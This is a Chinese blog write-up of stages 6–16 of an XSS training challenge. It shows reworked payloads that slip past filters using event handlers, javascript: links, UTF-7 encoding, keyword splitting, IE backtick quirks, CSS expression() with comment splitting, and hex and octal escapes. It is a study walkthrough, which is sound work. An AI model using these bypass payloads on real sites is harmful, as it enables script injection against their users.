XSS challenge(6-15)

XSS challenge(6-15)

目录
Stage #6 1
Stage #7 2
Stage #8 3
Stage #9 5
Stage #10 7
Stage #11 8
Stage #12 9
Stage #13 11
Stage #14 12
Stage #15 13
Stage #16 15

Stage #6

  1. 探寻
    在这里插入图片描述

  2. 构造payload
    ">
    在这里插入图片描述

发现对大于小于进行了过滤
3. 重构payload
" οnmοuseοver=alert(document.domain)
在这里插入图片描述

  1. Payload
    利用事件来对JS重写

Stage #7

  1. 探寻
    在这里插入图片描述

  2. 构造payload
    " οnmοuseοver=alert(document.domain)
    在这里插入图片描述

  3. Payload
    对事件可以直接使用,偷懒的直接使用上面的事件
    Stage #8

  4. 探寻
    在这里插入图片描述

  5. 构造payload
    ">
    在这里插入图片描述

存在过滤,有超链接,我们伪造协议

  1. 重构payload
    javascript:alert(document.domain)
    在这里插入图片描述

  2. Payload
    通过超链接的方式跳开

Stage #9

  1. 探寻
    在这里插入图片描述

发现了还存在另一个变量,采用抓包
2. 构造payload
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

构造失败,珠宝后面后又发现另一个变量是编码UTF-7(只有IE7才可以)
3. 重构payload
在这里插入图片描述

p1=1%2bACI-οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg-x=%2bACI-&charset=UTF-7
这里对p1变量提前转码的操作,然后让服务器可以直接识别
在这里插入图片描述

  1. Payload
    这里用到的IE7下的UTF-7编码,对IE的特殊还是又考虑的,但是现在已经不是用UTF-7编码了

Stage #10

  1. 探寻
    在这里插入图片描述

  2. 构造payload
    " οnmοuseοver=alert(document.domain)
    在这里插入图片描述

对domain进行了过滤,那我们尝试一下怎么去处理这个过滤
3. 重构payload
" οnmοuseοver=alert(document.domdomainain)
在这里插入图片描述

  1. Payload
    这里对值进行了匹配过滤,但是过滤的方式比较简单,我们可以通过拼接的方式来重组一个完整的domain
    Stage #11
    思路:https://blog.csdn.net/taozijun/article/details/81277187

在这里插入图片描述在这里插入图片描述
在这里插入图片描述

利用HTML转义字符,即HTML实体,对过滤的字符单独处理,跳过过滤让HTML可以成功的渲染出来

Stage #12

  1. 探寻
    在这里插入图片描述

  2. 构造payload
    " οnmοuseοver=alert(document.domain)
    在这里插入图片描述

">
在这里插入图片描述

发现过滤了大于小于符号,还有引号
3. 重构payload
`` οnmοuseοver=alert(document.domain)
在这里插入图片描述
在这里插入图片描述

在IE中,两个反引号会被IE识别为双引号,从而闭合value
4. Payload
考虑的是对IE的反引号识别

Stage #13

  1. 探寻
    在这里插入图片描述

这里主要CSS的加入
2. 构造payload
" οnmοuseοver=alert(document.domain)
在这里插入图片描述

参数返回 分析出对引号处理了,无法闭合标签
3. 重新构造payload
background:red;background:url(“javascript:alert(document.domian)”);
在这里插入图片描述

利用的css的动态样式和IE浏览器的特性
4. Payload
对普通参数提交,查看返回值
发送简单的JS代码,查询变量的变化 =》 存在过滤情况
如果是加入CSS,那么考虑CSS的特点和伪协议的利用点(URL)
background:red;background:url(“javascript:alert(document.domian)”);

Stage #14

  1. 探寻
    在这里插入图片描述

  2. 构造payload
    简单构造一个JS查看返回参数
    " οnmοuseοver=alert(document.domain)
    在这里插入图片描述

发现双引号被转义成了浏览器HTML转义字符

在这里插入图片描述

尝试了事件,发现过滤规则
s/(url|script|eval|expression)/xxx/ig;
3. 重构payload
xss:expr/**/ession(alert(document.domain));
在这里插入图片描述

  1. Payload
    因为是页面涉及的是CSS的,所以继续利用IE的特性,还有注释,利用块注释来分开过滤规则,完成代码执行
    xss:expr/**/ession(alert(document.domain));

Stage #15

  1. 探寻

在这里插入图片描述

对JS有直接的过滤
2. 构造payload
" >1
在这里插入图片描述在这里插入图片描述

发现源码中隐藏了一个编码,是浏览器的HTML转义字符
3. 重构payload
第一次提交
\x3csvg\x2fοnlοad=alert(document.domain)\x3e
在这里插入图片描述

会将 \ 过滤
第二次提交
\x3csvg\x2fοnlοad=alert(document.domain)\x3e
在这里插入图片描述

  1. Payload
    整体是浏览器的一个HTML转义字符
    /x3e > /x3c < /2f /

Stage #16
摘要思路:https://blog.csdn.net/taozijun/article/details/81277187

  1. 还是document:weite =》先直接采用15题的代码,发现了过滤了 \x
    我们的编码可以换成8进制的编码字符:
    \74img src=x οnerrοr=alert(document.domain)\76
    直接把15题的编码转义为8进制的编码,直接通过,这里还是利用的是编码的机制过滤
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值